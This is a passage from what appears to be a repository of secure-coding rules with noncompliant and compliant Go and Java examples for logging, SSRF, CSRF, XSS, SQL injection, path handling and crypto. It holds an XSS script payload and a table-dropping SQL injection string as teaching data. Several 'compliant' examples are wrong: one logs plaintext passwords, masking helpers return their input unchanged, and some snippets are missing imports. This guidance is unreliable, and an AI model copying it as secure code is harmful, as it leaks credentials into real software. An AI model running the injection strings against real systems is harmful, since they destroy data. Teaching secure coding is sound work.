It replaces special characters such as newlines (\\n), carriage returns (\\r), and tabs (\\t) with escape sequences to prevent their unintended interpretation or impact on the log output.\n\nThe sanitized username is then logged using log.Printf with the appropriate format specifier %s. This ensures that the log entry is properly neutralized and does not introduce any vulnerabilities or unintended behavior.\n\nBy sanitizing the log output in this manner, the compliant code mitigates the risk of log injection attacks and ensures that sensitive information is properly protected in the log files.\n\n\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Log the user login event\n\tlog.Printf(\"User logged in: %s\", username)\n\n\t// Process the request\n\t// ...\n}\n```\n\n\nIn this noncompliant code, only the username is logged during the user login event. However, the password, which is a security-relevant piece of information, is not included in the log entry. Omitting such security-relevant information can hinder the ability to effectively monitor and investigate security incidents.\n\nTo address this issue and ensure the inclusion of security-relevant information in logs, here's an example of compliant code that incorporates all relevant information while logging:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Log the user login event with all relevant information\n\tlog.Printf(\"User logged in - Username: %s, Password: %s\", username, password)\n\n\t// Process the request\n\t// ...\n}\n```\n\n\nIn the compliant code, both the username and password are included in the log entry using the log.Printf function. By including all relevant security information, such as the username and password, in the log entry, the compliant code provides valuable details for monitoring, auditing, and investigating security incidents.\n\nIt's important to note that while logging sensitive information like passwords is generally not recommended, this example is provided to address the omission of security-relevant information in logs. In a real-world scenario, it's advisable to avoid logging sensitive information and consider using techniques like tokenization or obfuscation to protect sensitive data.\n\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Log the sensitive information\n\tlogFile, err := os.OpenFile(\"app.log\", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer logFile.Close()\n\n\tlogger := log.New(logFile, \"\", log.LstdFlags)\n\tlogger.Printf(\"Sensitive information - Username: %s, Password: %s\", username, password)\n\n\t// Process the request\n\t// ...\n}\n```\n\nIn this noncompliant code, the sensitive information, including the username and password, is logged directly into a log file using the log.Printf function. Storing sensitive information in plain text log files can introduce security risks, as the log files may be accessible to unauthorized individuals, leading to the exposure of sensitive data.\n\nTo address this issue and prevent the sensitive information from being stored in the log file, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Process the request\n\n\t// Log a message without sensitive information\n\tlog.Printf(\"Received request - Username: %s\", username)\n\n\t// Perform authentication\n\tif !authenticate(username, password) {\n\t\tlog.Printf(\"Authentication failed for user: %s\", username)\n\t\thttp.Error(w, \"Authentication failed\", http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\t// Continue with the request\n\t// ...\n}\n\nfunc authenticate(username, password string) bool {\n\t// Perform authentication logic\n\t// ...\n}\n```\n\n\nIn the compliant code, the sensitive information is not logged directly into the log file. Instead, the code logs a message indicating the received request without including the actual sensitive information. By avoiding the logging of sensitive data, the compliant code ensures the protection of sensitive information and mitigates the risk of unauthorized access or exposure.\n\nIt's important to follow best practices for handling sensitive information, such as not storing it in log files, encrypting it when necessary, and adhering to relevant data protection regulations and security guidelines.\n\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/fetch\", handleFetch)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleFetch(w http.ResponseWriter, r *http.Request) {\n\turl := r.FormValue(\"url\")\n\n\t// Make a request to the provided URL\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer response.Body.Close()\n\n\t// Read the response body\n\tbody, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfmt.Fprintf(w, \"Response Body: %s\", body)\n}\n```\n\nIn this noncompliant code, the handleFetch function allows the user to specify a URL through the url parameter. The code then makes a request to the provided URL without performing any validation or restriction. This can lead to an SSRF vulnerability, where an attacker can potentially force the server to make unintended requests to internal resources or external systems.\n\nTo address this issue and prevent SSRF attacks, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/fetch\", handleFetch)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleFetch(w http.ResponseWriter, r *http.Request) {\n\trawURL := r.FormValue(\"url\")\n\n\t// Parse the URL to ensure it is valid and safe\n\tparsedURL, err := url.ParseRequestURI(rawURL)\n\tif err != nil {\n\t\thttp.Error(w, \"Invalid URL\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// Ensure that the URL points to a permitted domain\n\tallowedDomains := []string{\"example.com\", \"trusteddomain.com\"}\n\tif !isDomainAllowed(parsedURL.Host, allowedDomains) {\n\t\thttp.Error(w, \"Access to the specified domain is not allowed\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// Make a request to the provided URL\n\tresponse, err := http.Get(parsedURL.String())\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer response.Body.Close()\n\n\t// Read the response body\n\tbody, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfmt.Fprintf(w, \"Response Body: %s\", body)\n}\n\nfunc isDomainAllowed(domain string, allowedDomains []string) bool {\n\tfor _, allowedDomain := range allowedDomains {\n\t\tif domain == allowedDomain {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\n\nIn the compliant code, several measures are taken to mitigate the SSRF vulnerability:\n\n1. The url.ParseRequestURI function is used to parse and validate the provided URL. This ensures that the URL is well-formed and follows the expected format.\n2. An allowed domain list is defined, and the isDomainAllowed function is used to check if the parsed URL's host is present in the allowed domain list. This restricts requests to only specified domains, preventing SSRF attacks.\n3. Proper error handling is implemented to return appropriate HTTP responses for invalid URLs or unauthorized access attempts.\n\nBy validating and restricting the URLs that can be requested, the compliant code helps prevent unauthorized or malicious access to internal or external resources, thereby mitigating the SSRF vulnerability.\n"
  },
  {
    "path": "docs/rules/java.md",
    "content": "---\nlayout: default\ntitle: Java\nparent: Rules\n---\n\n# Java\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.util.logging.*;\n\npublic class UserController {\n    private static final Logger LOGGER = Logger.getLogger(UserController.class.getName());\n\n    public void loginUser(String username, String password) {\n        // Perform login logic\n\n        LOGGER.info(\"User logged in - username: \" + username);\n    }\n}\n```\n\nIn this noncompliant code, the loginUser method logs the username of the user who successfully logged in using the LOGGER.info statement. However, logging sensitive information like usernames can be risky because the log files might be accessible to unauthorized users or stored insecurely, leading to potential exposure of sensitive data.\n\n\nTo address this issue, here's an example of compliant code that avoids exposing sensitive information via logs:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.util.logging.*;\n\npublic class UserController {\n    private static final Logger LOGGER = Logger.getLogger(UserController.class.getName());\n\n    public void loginUser(String username, String password) {\n        // Perform login logic\n\n        LOGGER.info(\"User logged in - username: \" + obfuscateUsername(username));\n    }\n\n    private String obfuscateUsername(String username) {\n        // Implement a method to obfuscate or mask the username\n        // Example: Replace characters with asterisks or hash the username\n        // ...\n\n        return username; // Return the obfuscated username\n    }\n}\n```\n\n\nIn the compliant code, the loginUser method no longer directly logs the username. Instead, it calls the obfuscateUsername method, which obfuscates or masks the sensitive information before it is logged. This can be done by replacing characters with asterisks, hashing the username, or using other appropriate obfuscation techniques.\n\nBy obfuscating the sensitive information in the logs, the compliant code helps protect the confidentiality of the data, even if the log files are exposed or accessed by unauthorized individuals.\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.io.OutputStream;\nimport java.io.IOException;\n\npublic class PaymentService {\n    private static final String API_ENDPOINT = \"https://api.example.com/payments\";\n\n    public void makePayment(String cardNumber, double amount) {\n        try {\n            // Create a connection to the API endpoint\n            URL url = new URL(API_ENDPOINT);\n            HttpURLConnection connection = (HttpURLConnection) url.openConnection();\n            connection.setRequestMethod(\"POST\");\n\n            // Set the request headers\n            connection.setRequestProperty(\"Content-Type\", \"application/json\");\n\n            // Construct the request body\n            String requestBody = \"{\\\"cardNumber\\\": \\\"\" + cardNumber + \"\\\", \\\"amount\\\": \" + amount + \"}\";\n\n            // Send the request\n            connection.setDoOutput(true);\n            OutputStream outputStream = connection.getOutputStream();\n            outputStream.write(requestBody.getBytes());\n            outputStream.flush();\n            outputStream.close();\n\n            // Process the response...\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\nIn this noncompliant code, the makePayment method accepts the cardNumber and amount as parameters and constructs the request body directly by concatenating the sensitive information into the JSON string. This approach is insecure because it exposes the sensitive information (in this case, the card number) in clear text, which could be intercepted or logged by attackers.\n\n\nTo address this issue, here's an example of compliant code that properly handles sensitive information in sent data:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.io.OutputStream;\nimport java.io.IOException;\n\npublic class PaymentService {\n    private static final String API_ENDPOINT = \"https://api.example.com/payments\";\n\n    public void makePayment(String cardNumber, double amount) {\n        try {\n            // Create a connection to the API endpoint\n            URL url = new URL(API_ENDPOINT);\n            HttpURLConnection connection = (HttpURLConnection) url.openConnection();\n            connection.setRequestMethod(\"POST\");\n\n            // Set the request headers\n            connection.setRequestProperty(\"Content-Type\", \"application/json\");\n\n            // Construct the request body using a JSON library or object mapping\n            JsonObject requestBody = new JsonObject();\n            requestBody.addProperty(\"cardNumber\", obfuscateCardNumber(cardNumber));\n            requestBody.addProperty(\"amount\", amount);\n\n            // Send the request\n            connection.setDoOutput(true);\n            OutputStream outputStream = connection.getOutputStream();\n            outputStream.write(requestBody.toString().getBytes());\n            outputStream.flush();\n            outputStream.close();\n\n            // Process the response...\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n    private String obfuscateCardNumber(String cardNumber) {\n        // Implement a method to obfuscate or mask the card number\n        // Example: Replace characters with asterisks, mask certain digits, or encrypt the card number\n        // ...\n\n        return cardNumber; // Return the obfuscated card number\n    }\n}\n```\n\n\nIn the compliant code, the makePayment method no longer directly inserts the sensitive information into the request body string. Instead, it uses a JSON library or object mapping technique to construct the request body. The sensitive information, such as the cardNumber, is passed through the obfuscateCardNumber method, which performs appropriate obfuscation or masking techniques to protect the data before it is included in the request body.\n\nBy properly handling the sensitive information and obfuscating it before sending, the compliant code helps protect the confidentiality of the data during transmission, reducing the risk of unauthorized access or interception.\n\n\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class AccountService {\n    public void updateEmail(HttpServletRequest request, HttpServletResponse response) {\n        String newEmail = request.getParameter(\"email\");\n\n        // Code to update the email address in the user's account...\n        // ...\n    }\n}\n```\n\nIn this noncompliant code, the updateEmail method is susceptible to CSRF attacks because it doesn't include any protection against such attacks. An attacker can craft a malicious web page or form that includes a hidden field containing the request to update the email address. When an unsuspecting user visits this malicious page while authenticated in the target application, their browser automatically sends the request to the updateEmail endpoint, resulting in an unauthorized email address update.\n\n\nTo address this issue, here's an example of compliant code that implements CSRF protection measures:\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.util.UUID;\n\npublic class AccountService {\n    private static final String CSRF_TOKEN_SESSION_ATTR = \"csrfToken\";\n\n    public void updateEmail(HttpServletRequest request, HttpServletResponse response) {\n        String newEmail = request.getParameter(\"email\");\n\n        // Validate CSRF token\n        HttpSession session = request.getSession();\n        String csrfToken = (String) session.getAttribute(CSRF_TOKEN_SESSION_ATTR);\n        String requestCsrfToken = request.getParameter(\"csrfToken\");\n\n        if (csrfToken == null || !csrfToken.equals(requestCsrfToken)) {\n            response.setStatus(HttpServletResponse.SC_FORBIDDEN);\n            return;\n        }\n\n        // Code to update the email address in the user's account...\n        // ...\n    }\n\n    public void generateCsrfToken(HttpServletRequest request) {\n        HttpSession session = request.getSession();\n        String csrfToken = UUID.randomUUID().toString();\n        session.setAttribute(CSRF_TOKEN_SESSION_ATTR, csrfToken);\n    }\n}\n```\n\n\nIn the compliant code, several measures are implemented to prevent CSRF attacks.\n\n1. The updateEmail method retrieves the CSRF token from both the session and the request parameters. It compares the two tokens to ensure they match. If the tokens don't match or if the CSRF token is missing, the method returns a forbidden status, preventing the unauthorized update.\n\n2. The generateCsrfToken method generates a unique CSRF token using a UUID and stores it in the user's session. This method is called when rendering the form or page that requires CSRF protection. The generated token should be included as a hidden field in the form.\n\nBy including and validating the CSRF token in requests, the compliant code protects against CSRF attacks, ensuring that requests to sensitive actions are only accepted from legitimate sources and preventing unauthorized actions from being performed on behalf of authenticated users.\n\n\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class DatabaseConnection {\n    private static final String DB_URL = \"jdbc:mysql://localhost:3306/mydatabase\";\n    private static final String DB_USERNAME = \"root\";\n    private static final String DB_PASSWORD = \"password123\";\n\n    public void connect() {\n        // Code to establish a database connection using the hard-coded credentials\n        // ...\n    }\n}\n```\n\nIn this noncompliant code, the database connection information, including the password, is hard-coded directly into the code. This practice is highly insecure because if an attacker gains access to the source code or decompiles the application, they can easily retrieve the password and potentially compromise the database.\n\n\nTo address this issue, here's an example of compliant code that avoids hard-coding passwords:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class DatabaseConnection {\n    private static final String DB_URL = \"jdbc:mysql://localhost:3306/mydatabase\";\n    private static final String DB_USERNAME = \"root\";\n    private String dbPassword;\n\n    public DatabaseConnection(String dbPassword) {\n        this.dbPassword = dbPassword;\n    }\n\n    public void connect() {\n        // Code to establish a database connection using the provided password\n        // ...\n    }\n}\n```\n\nIn the compliant code, the hard-coded password is replaced with a constructor parameter dbPassword. The password is no longer stored directly in the code but is instead passed as an argument when creating an instance of the DatabaseConnection class. This allows the password to be provided securely at runtime, such as through a configuration file or environment variable.\n\nBy avoiding the use of hard-coded passwords and storing them securely, the compliant code reduces the risk of unauthorized access to sensitive information, such as database credentials, in case of a code compromise or unauthorized access to the source code.\n\n\n\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\npublic class PasswordUtils {\n    public static String hashPassword(String password) {\n        try {\n            MessageDigest md = MessageDigest.getInstance(\"MD5\");\n            byte[] hash = md.digest(password.getBytes());\n            StringBuilder sb = new StringBuilder();\n            for (byte b : hash) {\n                sb.append(String.format(\"%02x\", b));\n            }\n            return sb.toString();\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n}\n```\n\n\nIn this noncompliant code, the hashPassword method uses the MD5 algorithm to hash the provided password. MD5 is considered broken and insecure for password hashing because it is susceptible to various attacks, such as collision attacks and preimage attacks. It is no longer recommended for cryptographic purposes.\n\n\nTo address this issue, here's an example of compliant code that uses a more secure cryptographic algorithm, such as bcrypt:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.mindrot.jbcrypt.BCrypt;\n\npublic class PasswordUtils {\n    private static final int BCRYPT_COST = 12;\n\n    public static String hashPassword(String password) {\n        return BCrypt.hashpw(password, BCrypt.gensalt(BCRYPT_COST));\n    }\n\n    public static boolean verifyPassword(String password, String hashedPassword) {\n        return BCrypt.checkpw(password, hashedPassword);\n    }\n}\n```\n\nIn the compliant code, the hashPassword method uses the bcrypt algorithm, which is a widely accepted and secure cryptographic algorithm for password hashing. It generates a salt and incorporates a cost factor to slow down the hashing process, making it computationally expensive for attackers to perform brute-force attacks. The verifyPassword method is also provided to verify the password against the stored hashed password.\n\nBy using a secure cryptographic algorithm like bcrypt instead of broken or risky ones, the compliant code improves the overall security of password storage and helps protect user credentials from unauthorized access.\n\n\n\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.util.Random;\n\npublic class TokenGenerator {\n    public static String generateToken(int length) {\n        String characters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n        StringBuilder sb = new StringBuilder();\n        Random random = new Random();\n        for (int i = 0; i < length; i++) {\n            int index = random.nextInt(characters.length());\n            char c = characters.charAt(index);\n            sb.append(c);\n        }\n        return sb.toString();\n    }\n}\n```\n\n\nIn this noncompliant code, the generateToken method generates a token of a specified length using a random selection of characters from the characters string. However, the randomness of the generated token is insufficient. It relies on the java.util.Random class, which uses a predictable algorithm and may produce values with low entropy. This can make the generated tokens more susceptible to brute-force attacks or guessability.\n\n\n\nTo address this issue, here's an example of compliant code that uses a more secure approach for generating tokens with sufficient entropy:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.security.SecureRandom;\nimport java.util.Base64;\n\npublic class TokenGenerator {\n    public static String generateToken(int length) {\n        byte[] bytes = new byte[length];\n        SecureRandom secureRandom = new SecureRandom();\n        secureRandom.nextBytes(bytes);\n        return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);\n    }\n}\n```\n\nIn the compliant code, the generateToken method uses java.security.SecureRandom to generate a cryptographically secure random byte array of the specified length. The SecureRandom class provides a higher level of entropy compared to java.util.Random, making the generated tokens more unpredictable. The resulting byte array is then encoded using Base64 URL encoding to produce a token string.\n\nBy using a cryptographically secure random number generator and ensuring sufficient entropy in the generated tokens, the compliant code improves the security of the token generation process and reduces the risk of token guessing or brute-force attacks.\n\n\n\n\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class XssExample {\n    public static String getUserInput() {\n        // Assume user input is obtained from an untrusted source\n        String userInput = \"<script>alert('XSS');</script>\";\n        return userInput;\n    }\n    \n    public static String displayUserInput(String userInput) {\n        String html = \"<div>\" + userInput + \"</div>\";\n        return html;\n    }\n    \n    public static void main(String[] args) {\n        String userInput = getUserInput();\n        String html = displayUserInput(userInput);\n        System.out.println(html);\n    }\n}\n```\n\nIn this noncompliant code, the getUserInput method simulates user input obtained from an untrusted source. The input contains a malicious script tag that tries to execute an alert box. The displayUserInput method simply wraps the user input in an HTML div element.\n\n\nWhen the main method is executed, the malicious script tag is rendered as-is in the output, potentially causing a cross-site scripting vulnerability. If this output is displayed in a web page, the script will be executed in the user's browser, leading to unwanted behavior.\n\nTo address this XSS vulnerability, here's an example of compliant code that properly sanitizes the user input:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.apache.commons.text.StringEscapeUtils;\n\npublic class XssExample {\n    public static String getUserInput() {\n        // Assume user input is obtained from an untrusted source\n        String userInput = \"<script>alert('XSS');</script>\";\n        return userInput;\n    }\n    \n    public static String displayUserInput(String userInput) {\n        String sanitizedInput = StringEscapeUtils.escapeHtml4(userInput);\n        String html = \"<div>\" + sanitizedInput + \"</div>\";\n        return html;\n    }\n    \n    public static void main(String[] args) {\n        String userInput = getUserInput();\n        String html = displayUserInput(userInput);\n        System.out.println(html);\n    }\n}\n```\n\n\nIn the compliant code, the StringEscapeUtils.escapeHtml4 method from Apache Commons Text library is used to properly escape the user input. This method replaces characters with their corresponding HTML entities, preventing the script from being executed as code. The sanitized input is then safely rendered within the HTML div element.\n\nBy properly sanitizing user input and escaping special characters, the compliant code prevents the execution of malicious scripts and mitigates the risk of cross-site scripting attacks.\n\n\n\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.Statement;\n\npublic class SqlInjectionExample {\n    public static void main(String[] args) {\n        String username = \"admin'; DROP TABLE users;--\";\n        String password = \"password\";\n        \n        String query = \"SELECT * FROM users WHERE username='\" + username + \"' AND password='\" + password + \"'\";\n        \n        try {\n            Connection connection = Database.getConnection();\n            Statement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(query);\n            \n            // Process the result set...\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\nIn this noncompliant code, the SQL query is constructed by directly concatenating user-supplied input (username and password) into the query string. The username value is intentionally crafted to include a malicious SQL statement that attempts to drop the users table. This leaves the application vulnerable to SQL injection attacks.\n\n\nTo address this SQL injection vulnerability, here's an example of compliant code that uses prepared statements and parameterized queries to mitigate the risk:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\npublic class SqlInjectionExample {\n    public static void main(String[] args) {\n        String username = \"admin'; DROP TABLE users;--\";\n        String password = \"password\";\n        \n        String query = \"SELECT * FROM users WHERE username=? AND password=?\";\n        \n        try {\n            Connection connection = Database.getConnection();\n            PreparedStatement statement = connection.prepareStatement(query);\n            statement.setString(1, username);\n            statement.setString(2, password);\n            \n            ResultSet resultSet = statement.executeQuery();\n            \n            // Process the result set...\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\nIn the compliant code, the SQL query is parameterized using placeholders (?) for the user-supplied values. The values are then bound to the prepared statement using the setString method. By using prepared statements, the SQL query is precompiled and the user input is treated as data rather than executable SQL code. This effectively prevents SQL injection attacks by ensuring that user input is properly escaped and not interpreted as part of the SQL syntax.\n\nBy adopting prepared statements and parameterized queries, the compliant code mitigates the risk of SQL injection vulnerabilities and ensures the safe execution of database queries.\n\n\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.File;\n\npublic class FileUploadExample {\n    public static void main(String[] args) {\n        String fileName = getFileNameFromUserInput();\n        String directory = \"uploads/\";\n\n        File file = new File(directory + fileName);\n        \n        // Process the uploaded file...\n    }\n    \n    private static String getFileNameFromUserInput() {\n        // Code to get file name from user input\n        // This could be from a user input field, request parameter, etc.\n        return userInput;\n    }\n}\n```\n\n\nIn this noncompliant code, the fileName variable is obtained from user input without proper validation or sanitization. The user can potentially manipulate the file name to access files outside the intended directory, leading to unauthorized access or information disclosure.\n\n\nTo address this vulnerability, here's an example of compliant code that validates and sanitizes the file name before constructing the file path:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.File;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\n\npublic class FileUploadExample {\n    private static final String UPLOAD_DIRECTORY = \"uploads/\";\n\n    public static void main(String[] args) {\n        String fileName = getFileNameFromUserInput();\n        \n        Path filePath = Paths.get(UPLOAD_DIRECTORY, fileName).normalize();\n        if (!filePath.startsWith(UPLOAD_DIRECTORY)) {\n            // Invalid file name or path, handle the error\n            return;\n        }\n\n        File file = filePath.toFile();\n        \n        // Process the uploaded file...\n    }\n    \n    private static String getFileNameFromUserInput() {\n        // Code to get file name from user input\n        // This could be from a user input field, request parameter, etc.\n        return userInput;\n    }\n}\n```\n\nIn the compliant code, the file name obtained from user input is validated and sanitized before constructing the file path. The Paths.get() method is used to create a Path object, and the normalize() method is applied to ensure a consistent and secure representation of the file path. The startsWith() method is then used to verify that the resulting file path is within the intended upload directory. If the file path is determined to be invalid or outside the designated directory, appropriate error handling can be performed.\n\nBy validating and sanitizing the file name, and properly constructing the file path, the compliant code mitigates the risk of external control of file names or paths and helps ensure that only authorized files are accessed or processed.\n\n\n\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class UserService {\n    public User getUserById(String userId) {\n        try {\n            // Code to fetch user details from the database using the provided userId\n            // ...\n        } catch (Exception e) {\n            String errorMessage = \"An error occurred while fetching user details for userId: \" + userId;\n            throw new RuntimeException(errorMessage, e);\n        }\n    }\n}\n```\n\n\nIn this noncompliant code, an error message is constructed by concatenating the sensitive information (the userId parameter) with a generic error message. This can potentially expose the sensitive information to unauthorized individuals in case of an error or exception.\n\n\nTo address this vulnerability, here's an example of compliant code that avoids exposing sensitive information in error messages:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class UserService {\n    public User getUserById(String userId) {\n        try {\n            // Code to fetch user details from the database using the provided userId\n            // ...\n        } catch (Exception e) {\n            throw new RuntimeException(\"An error occurred while fetching user details\", e);\n        }\n    }\n}\n```\n\nIn the compliant code, the error message is kept generic and does not include any sensitive information. By removing the sensitive data from the error message, the compliant code helps to protect the confidentiality of the user information and reduces the risk of exposing sensitive information to potential attackers.\n\n\n\n\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class UserService {\n    private String username;\n    private String password;\n    \n    public void login(String username, String password) {\n        this.username = username;\n        this.password = password;\n        // Code to authenticate the user\n        // ...\n    }\n    \n    public void printCredentials() {\n        System.out.println(\"Username: \" + username);\n        System.out.println(\"Password: \" + password);\n    }\n}\n```\n\nIn this noncompliant code, the username and password fields are stored as plain strings within the UserService class. The credentials are directly assigned from the login method and can be accessed and printed using the printCredentials method. Storing credentials in this manner poses a security risk as they can easily be accessed and exposed.\n\n\nTo address this vulnerability, here's an example of compliant code that implements protected storage of credentials:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class UserService {\n    private char[] password;\n    \n    public void login(String username, char[] password) {\n        // Code to authenticate the user\n        // ...\n        \n        // Store the password securely\n        this.password = Arrays.copyOf(password, password.length);\n        \n        // Clear the original password data\n        Arrays.fill(password, ' ');\n    }\n    \n    public void printCredentials() {\n        System.out.println(\"Username: \" + getUsername());\n        System.out.println(\"Password: ********\");\n    }\n    \n    private String getUsername() {\n        // Retrieve the username from the authenticated user session\n        // ...\n    }\n}\n```\n\nIn the compliant code, the password is stored as a character array (char[]) instead of a plain string. Storing the password as a character array allows for more secure handling as it can be cleared from memory once it is no longer needed. Additionally, the printCredentials method only displays the username while masking the password with asterisks to prevent 